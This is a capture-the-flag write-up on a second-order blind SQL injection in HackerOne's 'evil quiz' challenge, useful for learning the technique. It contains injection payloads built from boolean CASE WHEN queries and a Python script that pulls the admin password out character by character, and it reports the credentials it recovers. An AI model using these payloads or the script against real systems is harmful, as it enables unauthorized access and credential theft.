Exploiting second-order blind SQL injection
Recently HackerOne organized an online CTF called 12 days of hacky holiday CTF.
There was a total of 12 flags to be captured and for each flag, HackerOne gave a private program invitation on their platform.
There was one particular challenge called evil quiz which was vulnerable to second-order SQL injection. In this article, I will provide details about the solution and my approach to solving it.
Details of the challenge
The home page of the challenge had a form that takes a name as an input parameter.

On submitting this form, the application redirects to the /evil-quiz URL with the Quiz tab selected and sets a random md5 value as a session cookie.

The quiz tab has 4 quizzes with radio button, on submitting the quiz page redirects to /score URL with the score of the user.


There is also an admin login page. The main challenge here is to go past this admin login page and access the admin quiz page.

Things I tried which didn’t work
- Used wfuzz to fuzz the directory https://hackyholidays.h1ctf.com/evil-quiz/ and https://hackyholidays.h1ctf.com/evil-quiz/admin
- Brute forced admin page with hydra [even though I was getting a message Username/Password Combination is invalid on failed login, which does not suggest creds can be brute forced]
- Tried sql injection in the username and password parameter in the admin login page
SQL Injection ( Second-order and blind )
Burp Academy has a very good article to explain blind SQL injection.
Second-order SQL injection does not return the result of injection immediately but the injected payload gets executed with some other request when that data was used in the SQL query. Blind + 2nd order = 2nd order blind SQL injection.
Identifying the SQL injection
Name parameter on the quiz page was vulnerable to blind SQL injection, but the result of this SQL injection was reflected on the score page when the score was retrieved for the user. With a name as a test, score page response was There is 58 other player(s) with the same name as you!

Putting the SQL injection payload in the name parameter test’ or 1=1 # returns complete count ( 1218059 ) of record.

By looking at the response code at the backend can be assumed to be
select count(*) from table_name where name=+$_GET('name')
for PHP application. Now here even if the name parameter is vulnerable to SQL injection we are only getting the count not the value from the database, that’s why blind. Since the result of SQL injection is not coming in the same request-response cycle instead its getting executed when a separate /score request is triggered it’s 2nd order.
How to proceed from here:
- Find out the different table length and name ( obvious names would be a quiz, users, admin, score etc. since its a CTF )
- Find columns names in the table and their value
- The end goal would be to find the username and the password to login into the admin area
Finding out table and column names
Manually doing this would be difficult cause we have to enumerate different characters based on Boolean ( true or false ) conditions. So I decided to write a quick python script that will somehow ease the pain. Here is the python script that I quickly wrote. ( Nothing special, just sending some request and looping on the response)
As a first step, I tried to enumerate how many tables are there using the information_schema and case statement. I used the below query as payload to find out the number of tables
' and (SELECT (CASE WHEN (SELECT count(table_name) FROM information_schema.tables )= 4 then 1 else 0 end)) =1 #
Let’s break the above payload,
- SELECT count(table_name) FROM information_schema.tables — will get the count of all the tables in information_schema.
- CASE WHEN (output from no 1, suppose its 3)= 4 then 1 else 0 ends) — output of the query in point 1 i.e. 3 will be compared to 4, since it will be the false output of the case statement will be 0, or in case the output of the select statement is 4 then the case statement will return 1.
- ‘ and (SELECT (output of no 2 above either 1 or 0 )) =1 # — final select statement . Based on the true or false output of the statement we will be able to find out the number of tables in the schema.
By putting the above query into the script, found that there are a total of 81 tables

It's practically difficult to enumerate all the tables, so going by the assumption that there will be a table with the name quiz and admin. I verified that using the below query
' and (SELECT (CASE WHEN EXISTS(SELECT table_name FROM information_schema.tables where length(table_name) = 5 and table_name = 'admin') THEN 1 ELSE 0 END)) = 1 #
Similarly, column count and column names can be enumerated, but looking at the login request I assumed the admin table will have 3 columns id, username, and password.

Finding the admin password
Column names can be confirmed with the query
' and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin ) THEN 1 ELSE 0 END)) =1 #
I also checked how many rows are there in the admin table. which turned out to be 1. So have to find out the password form the user ‘admin’ ( again a guess, can be again confirmed using the query
' and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin WHERE username = 'admin') THEN 1 ELSE 0 END)) =1 #
Now we need to find out the length of the password.
' and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin WHERE username = 'admin' and length(password) = 17 ) THEN 1 ELSE 0 END)) =1 #
The length of the password for admin turned out to be 17.

Now let's find the password for admin, modify the script to enumerate the password
import requests,time,recharlists= ['0','1','2','3','4','5','6','7','8','9','0','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','_','{','}','-','$','!','@','#']URL = "https://hackyholidays.h1ctf.com/evil-quiz/"
password = ""
headers = {'Cookie': 'session=49760dc697484323f6057689d396b3f8'}
data = {'name' : 'test'}r = requests.post(url = URL , data = data, headers = headers)
for i in range(1,18):
for x in charlists:
data = {'name': '\' and (SELECT (CASE WHEN EXISTS(SELECT username FROM admin where username = \'admin\' and BINARY substring(password,'+str(i)+',1) = \'' + str(x) + '\') then 1 else 0 end)) = 1 # '}
r = requests.post(url = URL, data = data, headers = headers)out = requests.get(url = URL + "score", headers = headers)
result = re.search('There is (.*) other player',out.text)
if int(result.group(1)) > 0:
password += str(x)
print("Give me password plaease ::-> " + password)
break
else:
pass
So the above script is trying to find out each character in the password one by one using the substring function. For every character in the password, we will iterate over each character in the charlists. [note the use of regex to separate out valid entries] Using the above script I found the password to be s3cret_p4ssw0rd-$. However, that was incorrect, because substring() comparison is case insensitive. So included a BINARY keyword before substring() to do a case-sensitive comparison. So finally got the password to be S3creT_p4ssw0rd-$.

Using the creds admin/S3creT_p4ssw0rd-$ login to the admin area and got the flag.

Thanks for reading. Do ask in comments if you have any questions and also provide feedback. I am always ready to discuss and learn from anyone. Reach out to me on LinkedIn or Twitter ( @NirajRm7) and say hi.